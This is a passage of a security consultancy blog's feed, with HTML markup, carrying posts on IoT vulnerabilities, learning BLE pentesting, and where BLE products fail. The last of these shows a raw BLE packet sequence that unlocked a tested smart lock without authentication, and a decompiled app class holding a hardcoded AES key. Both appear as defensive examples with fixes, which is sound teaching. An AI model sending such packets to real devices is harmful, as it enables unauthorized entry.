12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>]]></content:encoded></item><item><title><![CDATA[IoT product? Top 10 vulnerabilities]]></title><description><![CDATA[If you are an indi-developer, a hardware company or a software company, you must be protected against the following vulnerabilities.]]></description><link>https://blog.cybervelia.com/p/do-you-develop-an-iot-product-read</link><guid isPermaLink="false">https://blog.cybervelia.com/p/do-you-develop-an-iot-product-read</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Wed, 17 May 2023 08:44:19 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F735d8a2b-6fd1-4539-b171-68381b70ba29_260x260.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you are an indi-developer, a hardware company or a software company, you must be protected against the following vulnerabilities. The following are the ones we often come across while performing security testing against IoT gadgets.</p><h2>Denial-of-Service</h2><p>Many developers may put a lot of effort in properly configuring the network settings or even updating the libraries, however, their device may end-up being vulnerable to denial-of-service attacks. Such attacks make the device being unusable by the user, having the user blaming the vendor (that is, you). The user doesn&#8217;t have the training or the background to understand what went wrong, and thus the user won&#8217;t be able to understand that he may be under attack.</p><p>There are two forms of denial-of-service, a temporary DOS and permanent DOS. A temporary DOS is happening when the attack lasts as long as the attacker is performing the attack. On the other hand, the permanent DOS is when the attacker managed to alter the state of the device in a way that is now unusable, and thus the communication, or the state of the device, cannot be recovered.</p><p>The DOS attack may not be solely mistake during the development time, but of integration time. The vulnerability may lie in a dependency packet which is vulnerable to denial-of-service.</p><h2>Hardcoded Passwords</h2><p>A product may use any of the myriad software solutions out-there to ensure the confidentiality of the user&#8217;s data. Depending on the implementation mechanism used, the process may not be so easy. For example, in Bluetooth Low Energy, setting up a password may have some some hardware requirements depending on the configuration settings. Therefore, the developers often use to set up a basic configuration using a static hard-coded password (or PIN), with the hope that he or she, will replace it with a dynamic one later on. However, due to the nature of the mechanisms, it may be impossible to change the project to reflect the dynamic allocation of the key. Then, the developers are based on what we used to say &#8220;security by obscurity&#8221; and continue to use the hardcoded password in production code.</p><p>By using the user&#8217;s data by a static key, isn&#8217;t protecting the confidentiality at all. Actually, it is like it never existed, as the key is there fore anyone to find. Given enough time and resources, the key can be found.</p><h2>Firmware extraction</h2><p>Many vulnerabilities were found by extracting and analyzing the firmware. When the source-code is not available, the firmware can provide a low-level insight of the code. Even though extracting and reverse engineering a firmware is tedious and demanding task, this is achievable. Therefore, your software shall not keep &#8220;secret&#8221; keys or files, as those can be compromised. Moreover, the software may have vulnerabilities which could be found and used by malicious actors without disclosing them to the vendor. Finally, during the development time, the development teams tend to create debug code, or some functionality that will be removed during the production time. However, some functionality may be left-over without noticing. When found, there are cases where can be used maliciously and can be used as a backdoor into the user&#8217;s device. Even this does not occur in firmware extraction category and should be mentioned separately, remember that such functionality is found only when the firmware has been extracted.</p><h2>Misconfigured network settings</h2><p>Many gadgets wish to communicate with the user through another device (ie a Mobile Application). In this case, other protocols (supported by both peers) are needed. Often, such protocols are WiFi and Bluetooth. Therefore it is vital to configure such networks to communicate effectively and securely. A misconfiguration of the network or the connection parameters, one may be able to sniff the connection and perform Man-in-the-Middle attack. Additionally, the malicious actor may cause a denial-of-service to the device.</p><h2>Lack of privacy protections</h2><p>The privacy of the user is very important and you should keep it in mind while developing any kind of commodity hardware. It&#8217;s sad to see that most vendors don&#8217;t care about user&#8217;s privacy, even when it&#8217;s on OWASP Top 10 proactive security list.</p><p>The user&#8217;s privacy must be protected in all layers of the product, such us in hardware and software. For example, in software, the device&#8217;s address such as the MAC address can be static and thus leaking the user&#8217;s identity. One can stalk the user by using the MAC address. A mitigation is to configure the device to use randomized address or generate a random resolvable address. Another example, is when broadcasting data containing user&#8217;s personal identifiable information (PII).</p><h2>Default Settings</h2><p>Currently, there are ten of million of devices produced and delivered having default configurations, including default credentials. Various vendors tend to provide products having a default password, having the user to change the password (or settings &#8211; ie Network Settings) as needed. However, most users don&#8217;t, which often leads to a compromise of their device. Therefore, the brand gain bad reputation as multiple devices are being targeted, remotely or locally, because of the product is shipped with default settings including default passwords and weak network settings.</p><h2>Outdated or unmaintained OSS</h2><p>A hardware takes some months to be developed and a lot of effort is put onto it. Having a major change in the software-side may delay the project for weeks. Equivalently, that means man-hour which translates to money.</p><p>Many developers rush into selecting the libraries which works best, and to quickly catch-up with the deadline of the project. However, often, many of the currently used libraries are outdated and contains several vulnerabilities. Such vulnerabilities are now part of your product, thus making your product vulnerable to attacks.</p><p>In the past, there wasn&#8217;t such an issue for gadgets. However, modern gadgets contain much more software and interacts with other systems, transferring keys and sensitive data. When i&#8217; m talking about sensitive data am not referring only to PII but also to even more sensitive data. For example, imagine having a device which transfers data through a vulnerable implementation of Bluetooth, and thus transferring cryptographic private keys (i.e it may be part of a crypto-currency network). As you can see, the wallet of the user may lie in the security of your product.</p><p>Sometime, the developer is not who to blame, but the same development environment. For developers to speed-up the development cycle, may choose to use IDEs that have installed plugins which help in installing the necessary libraries and/or dependencies for the project. However, such plugins pulls the software database, binaries or source-code from a predefined source. Such source may integrate outdated software and thus, the version of the dependencies must always be checked against known vulnerabilities. Even more severe issue, is when integrating with unmaintained software. Even if such software works now, and even when no known vulnerabilities exist, the system may be vulnerable to future attacks which will remain unresolved and unfixed, as the vendor stopped supporting such software.</p><p>The best practice for outdated and unmaintained software, is getting your-self updated. Make sure you have the latest versions of your software, and that the version you are using isn&#8217;t affected by known vulnerabilities. I could have said that there are known software that may help you handle all of this, but then i would lie. The best solution, is you!</p><h2>Insecure update mechanisms</h2><p>Software needs to be updated. The reason may be bugs needs to be fixed, features has been added or vulnerabilities discovered and have been resolved. In any case, a software update must be pushed to the gadgets. A common way to easily update hardware gadgets is through WiFi access (if the device has any), or through a mobile app (communicating via Bluetooth).</p><p>The update mechanism is very important to be secure as a malicious actor could push a different update which could lead to the full compromise of the end-device.</p><p>There are multiple ways to attack an insecure mechanism, starting from the endpoint&#8217;s configuration (ie server&#8217;s communication &#8211; HTTP/HTTPS), to the delivery mechanism (such as Bluetooth DFU). The vendor, that is, you, must be sure the packet is transferred directly to the device in a secure way, and that has not been modified by anyone in between.</p><p>Some of the vendors we have seen out-there used to encrypt their update payload and transfer the data through an insecure network. That way, nothing needs to be secure right? The data may be signed as well. Well, almost. What they have not calculated right, is that the decryption and signing has been done by using a key which was burred inside the hardware, and that key, was same for everyone. That way, by extracting the key once, one can intercept and modify the intercepted payload of any other device.</p><h2>Insecure in-house protocols</h2><p>When a gadget is controlled by another device (i.e an application), often developers tend to create their own custom protocols to communicate with it. In such case, the protocol is stacked on top of other network protocols. However, a malicious actor may be able to connect and communicate to the device via an unauthenticated way. The protocol must be hardened and vulnerability-free otherwise the device may be compromised.</p><h2>Lack of proper education &amp; training</h2><p>Many companies are afraid to spend a significant budget to properly train their employees. The fear comes from the common pattern of &#8220;training following a resignation letter&#8221;. The companies have seen this pattern repeated many times, as the company may spend a fortune on an employee which is then leave the company in a short period of time. This is not always the case though.</p><p>Over the hundred penetration tests I carried out as a penetration tester in the past, I have seen the same mistakes over and over again, from the same companies, even from the same developers. Even though we explained the mitigation and the root cause of the problem, the developers were unable to understand the problem completely. This is because they fundamentally lacked the core concepts of web security (in case of web applications for example). The same happens in hardware, especially when things becomes tough as both hardware and software attacks exist.</p><p>I will end this with the following: I would not worry about a company having up-to-date and fully trained people which may, or may not, leave the company after some time, but I would mostly worry on having employees which haven&#8217;t been educated for a long time and stay in the company forever!</p><p>The knowledge of your employees is reflected in your products, either you want it or not.</p><p>Cybervelia helps its customers to solve this problem, by providing in-depth trainings with organized hackathons which are totally focused on security and tailored to the needs of the client. A specialized platform is provided and we ask for our clients to dedicate a day or two, so the employees have fun, learn and team-up to solve security coding challenges together.</p><h2>Trust Who?</h2><p>The developers are very good in what they do: they develop software. However, they might oversea a configuration parameter, may lack knowledge to the protocols, or they may have designed a vulnerable code snippet which may put the whole product at risk.</p><p>Why don&#8217;t you put your trust in us, to make sure your products are secure?</p><p>At Cybervelia, we can protect your users by securing your products. We will have a look to the product without requiring you to give us any kind of code or design blueprints. We can then use our own customized hardware and software, and attach them to your product in order to assist in finding any kind of hardware and software vulnerabilities, as well as misconfigurations of the product.</p><p></p>]]></content:encoded></item><item><title><![CDATA[How skillful are you in BLE Security?]]></title><description><![CDATA[This is a question for all of you reading this article: How good are your skills at pen-testing BLE devices?]]></description><link>https://blog.cybervelia.com/p/how-skillful-are-you-in-ble-security</link><guid isPermaLink="false">https://blog.cybervelia.com/p/how-skillful-are-you-in-ble-security</guid><pubDate>Wed, 17 May 2023 08:41:43 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/f791755a-7a20-4152-960f-e9238f79070c_2560x1771.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a question for all of you reading this article: How good are your skills at pen-testing BLE devices?</p><p>There are hundred of companies that excel in testing hardware devices encompassed in the Internet of Things. I doubt if the major number of companies are any good at properly testing the Bluetooth side of things though.</p><p>I can&#8217;t argue that many testers have been trained and gained some useful insights about the protocol. But how well have they been trained? There is no free or low-budget BLE standalone course for security. Also, most of the time the BLE is always included as a sub-section, side by side with other protocols. Therefore the current courses don&#8217;t focus much on the Bluetooth Low Energy protocol and that doesn&#8217;t perform very well.</p><p><strong>BLE Vulnerabilities</strong></p><p>During my path discovering the protocol, I managed to uncover many areas of the protocol which unfortunately go unnoticed by so many testers:</p><ul><li><p>Access Control</p></li><li><p>Authentication Bypass</p></li><li><p>Privacy Issues &#8211; compromising PII</p></li><li><p>Buffer Overflows</p></li><li><p>Memory Corruption</p></li><li><p>Denial-of-Service</p></li><li><p>Security misconfigurations leading to certain vulnerabilities</p></li><li><p>Pairing-oriented attacks</p></li></ul><p>The above vulnerabilities directly affect the end-user and the application layer. Many developers are trying to push the responsibility to the BLE vendor off-loading the security part of the product. However, the vendor has little to do with the aforementioned vulnerabilities. They need someone like you to bring light into these areas and keep them educated about who&#8217;s responsible for what.</p><p><strong>Keep your customers happy</strong></p><p>Your customers are happier when your test include many important findings. You should have noticed by now that many of your customers don&#8217;t know most of the vulnerabilities you report to them. That is fine, this is your job. Through the time customers get familiar with most of the vulnerabilities. However, in Bluetooth Low Energy it&#8217;s even darker area for them because most of the pentest companies are touching it softly &#8211; if testing BLE at all &#8211; and so the customers get to see fewer BLE-related issues. So get educated in BLE and amaze them with something new!</p><p><strong>Finding Online Resources</strong></p><p>How about start learning about Bluetooth Low Energy online? I may say it is a good starting point, however, I have been there and I can surely say it isn&#8217;t the most efficient path to go. For sure it is the right way to learn the first steps. However, I found it frustrating trying to learn BLE in depth from online sources, because everywhere and anyone is teaching just the basics, repeating what is already there. Also, sometime you need the right terms in order to go deeper into the protocol &#8211; terms you don&#8217;t know they exist.</p><p>The following articles will give you a short boost entering the BLE world:</p><ul><li><p><a href="https://shellwanted.com/index.php/2021/01/22/bluetooth-low-energy/">Introduction to Bluetooth Low Energy &#8211; 50k ft</a></p></li><li><p><a href="https://infosecwriteups.com/develop-bluetooth-apps-fundamentals-tools-coding-4a08922a7cd6?source=user_profile---------0----------------------------&amp;gi=996ff3cba018">Develop Bluetooth Apps | Fundamentals, Tools &amp; Coding</a></p></li></ul><p>But don&#8217;t go just yet, the best still to come.</p><p><strong>What about tools?</strong></p><p>There are a ton of tools out-there, some badly designed but also some very good designed and cool tools too. Many of them have been developed years ago and they&#8217;ve got a good maturity level. In the other hand, many tools have been abandoned and as a result became obsolete.</p><p>Through my BLE journey I have seen MOST of the tools out-there are struggling to get installed in the latest operating systems. Furthermore, not all tools can be installed in all operating systems. That&#8217;s not enough, because I still needed a bunch of different tools to have complete picture of the security posture of the target.</p><p>To give back to the community I have developed my own BLE testing tool and published it for free &#8211; it is an open software and open hardware too! I won&#8217;t go into explaining what the tool does. Also I have to say that the tool is not for all kind of things, however it does pretty much most of the tasks I need to do during my tests and research.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VgpM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VgpM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png 424w, https://substackcdn.com/image/fetch/$s_!VgpM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png 848w, https://substackcdn.com/image/fetch/$s_!VgpM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png 1272w, https://substackcdn.com/image/fetch/$s_!VgpM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VgpM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png" width="780" height="780" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d17c488a-f6cd-4613-b2da-b739e0885056_780x780.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:780,&quot;width&quot;:780,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!VgpM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png 424w, https://substackcdn.com/image/fetch/$s_!VgpM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png 848w, https://substackcdn.com/image/fetch/$s_!VgpM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png 1272w, https://substackcdn.com/image/fetch/$s_!VgpM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd17c488a-f6cd-4613-b2da-b739e0885056_780x780.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">BLE:bit &#8211; More info: https://blebit.io</figcaption></figure></div><p><strong>What requires to master Bluetooth Low Energy?</strong></p><p>It needs the right tools properly designed for each test.</p><p>It needs resources and concentrated knowledge.</p><p>It needs dedication and focus.</p><p>It needs the right methodology.</p><p>Even with the right tools, I still needed to climb high enough, learn the protocol by my-self and develop the right methodology, which took years. Through the years I gained the experience and knowledge to say I am in a position to confidently and thoroughly testing a device. Due to the lack of information I had to crawl to the Bluetooth specification which is a ton of formal pages. Even then, had to develop my own firmware and software to better understand some concepts.</p><p>I also delved into the research part and created my own fuzzers acting in many layers of the protocol &#8211; not just in the application layer. I touched the linux and android kernel to understand how I can communicate with the OS in the lower possible level. I had to learn how to bypass the OS and directly speak to the controller. Finally, I have completely skipped the OS and created my own controller using open-source stacks, which I have modified to attack the peer device.</p><p>The effort I put into was rewarding as I discovered many vulnerabilities in the products of major BLE manufacturing companies.</p><p><strong>Learning BLE &#8211; How?</strong></p><p>I have gone way far away than anyone should go, in order to conduct a penetration test. So how far do you need to go? I could say definitely further from what free internet can give you, but surely less than delving into the firmware level.</p><p>So what are the right tools for a tester?</p><p>How do you find the right resources teaching you enough to feel comfortable testing BLE devices?</p><p>How do you even start entering into Bluetooth Low Energy?</p><p>Considering the time I put into, how do I get certified?</p><p>Register to our BLE Security course for free! Contact the author to get an invitation code to the course. It&#8217;s a massive text-based course of 16 labs and 400 pages of material explaining each and every step of hacking into BLE.</p>]]></content:encoded></item><item><title><![CDATA[ Where most IoT products fail?]]></title><description><![CDATA[The Sacrifice of the Queen]]></description><link>https://blog.cybervelia.com/p/where-most-iot-products-fail</link><guid isPermaLink="false">https://blog.cybervelia.com/p/where-most-iot-products-fail</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Wed, 17 May 2023 08:35:59 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/1a335967-4278-4109-bd71-a86bcdfa01bd_1200x801.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>The Sacrifice of the Queen</strong></h2><p>Most of the IoT products are very small in size, and some of them may not have an interface at all &#8211; maybe just a push button. They are tiny with small battery hence are low-powered devices. A low power consumption is needed. And that&#8217;s their challenge. Often, the products needs to communicate either to their gateway or to a mobile application. That&#8217;s where often the mistake happens. They do sacrifice the wireless security for the sake of <strong>simplicity</strong> and <strong>cost</strong>.</p><h2><strong>The Wireless Medium</strong></h2><p>In this article we are going to talk about <strong>Bluetooth-Low-Energy</strong> communication and discuss some vendor implementations mistakes while discussing best practices.</p><p>Most of the products we see communicate with a mobile application which allows the user to tune some parameters of the device. Such parameters however, may be critical for the lifetime of the device, its availability or the compromise of sensitive user data.</p><p>In the next chapter we&#8217;ll analyze how the vendors fail to secure their communication, in which part of the communication most products fail and what can you do for your own product &#8211; so you can make sure this won&#8217;t happen to you.</p><h2><strong>The Failure</strong></h2><p><strong>Authorization Bypass</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ITws!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ITws!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ITws!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ITws!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ITws!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ITws!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg" width="201" height="300" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:300,&quot;width&quot;:201,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:15510,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ITws!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ITws!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ITws!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ITws!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1790c1d5-9b99-47f4-b9f0-8c8cb6d2a440_201x300.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Don&#8217;t be surprised. You may have seen this vulnerability class in your web application tests, but this class also tend to appear in BLE products too.</p><p>For those who are unaware about this vulnerability class, it happens when a functionality of the device should be reached only by authenticated users but because of the vulnerability unauthenticated users are able to use it as well.</p><p>We tested a particular lock which didn&#8217;t prevent the unauthorized user to unlock it. Here is the packet sent to unlock the lock:</p><pre><code>Client &gt;&gt; Device(ffe9) : 0100
Client &gt;&gt; Device(ffe1) : ff01000011</code></pre><p>The communication of the application layer is found to be encrypted. The first packet enables the device to be able to send us back messages where the second packet contains the preamble and suffix bytes (0xff and 0x11) as well as the main data package (0x010000). The first byte is used for unlocking the device (0x01). Sending directly such a packet and encrypting the packet using the encryption key found in the application. It turns out anyone can unlock the lock. Therefore, the authentication of the lock has been bypassed.</p><p>To address this vulnerability, the developers must make sure the user of the current session has been authenticated before giving access to the unlock functionality. This is possible as many BLE vendors permit to install callbacks to any attribute read or write operations.</p><p><strong>Encryption using a Static Key</strong></p><p>We&#8217;ve found a lot of devices using application-layer encryption. We are unsure if this is even necessary as the BLE protocol supports encryption on its own. However, no BLE encryption is enforced. Beside that mistake the whole custom communication protocol is encrypted using insecure cipher modes and static keys. Mainly the developer&#8217;s idea is to transfer the app data via an insecure channel and provide encryption to the data using a key burred into the app with the hope that nobody is going to find it.</p><p>This is a misconception and an excuse based on the minor difficulty needed to make a proper protocol and properly configure the device to support modern pairing methods. Also, is a factor of cost, and often low-cost products can&#8217;t afford the luxury of security, and thus users may suffer.</p><p>Here is an example of a decompiled code of a BLE mobile app, that contains the encryption method and the key at the same class. The code is not stripped either.</p><pre><code>public class AES {
    ...SNIP...
    static byte[] sKey = new byte[]{(byte) -41, (byte) -7, (byte) -13, (byte) , ...SNIP...};
  
    public static byte[] Encrypt(byte[] bArr) throws Exception {
        Key secretKeySpec = new SecretKeySpec(sKey, "AES");
        Cipher instance = Cipher.getInstance(MOD);
        instance.init(1, secretKeySpec);
        bArr = instance.doFinal(bArr);
        return bArr;
    }
    ...SNIP...</code></pre><p>The above method &#8220;Encrypt&#8221; is used to encrypt the communication using the key stored in the variable &#8220;sKey&#8221;, which is a static key and anyone can find it, if able to dig enough into the application.</p><p>To remediate the issue, the vendor must transfer the encryption from the application layer to the lower layers such as SMP (Security Management Protocol) which is a layer of the BLE responsible for handling the encryption process.</p><p><strong>Pairing Parameters &amp; Configuration of the peripheral</strong></p><p>Almost all of the BLE system-on-chip solutions offer a way to fine-tune the proper parameters and have provide to the user a secure session. Even though this is true, many choose not to follow the general guidelines and walk toward the easy path. A BLE have many pairing methods, however, if the device doesn&#8217;t have any interface or physical user input (such as a button) it&#8217;s like a dead-end. The device has no choice but to pair with the peer device in the &#8220;most&#8221; secure way possible. However, when no user intervention, no authentication is possible, and so the session can be spoofed or interrupted by a Man-in-the-middle.</p><p>The remediation is not an easy step, but is a step forward to success, as you go forward to secure the connection by unloading everything to the SMP. If you don&#8217;t have any way for the BLE SoC to accept any input, so the user can confirm or deny the PIN, you are heading to an insecure configuration.</p><p>Would you like to learn more? Do you develop any product and need help securing its BLE setup and the communication protocol? Contact us, we can help you out!</p><h2><strong>Summary</strong></h2><p>The BLE protocol is evolving faster than anyone expected. If you develop any BLE product you must make sure you cover at least the basic security configurations to protect your users from any kind of attack. In this article we didn&#8217;t even scratched the surface of the BLE security area. However, if you like to learn more, we offer a comprehensive training kit that teaches everything about BLE security. Follow us on our social media to benefit from our free webinars.</p>]]></content:encoded></item><item><title><![CDATA[ Hacking Smartwatches for Spear Phishing]]></title><description><![CDATA[In this article we explain how to hack into a SmartWatch and show a custom text message]]></description><link>https://blog.cybervelia.com/p/hacking-smartwatches-for-spear-phishing</link><guid isPermaLink="false">https://blog.cybervelia.com/p/hacking-smartwatches-for-spear-phishing</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Wed, 17 May 2023 08:04:52 GMT</pubDate><enclosure 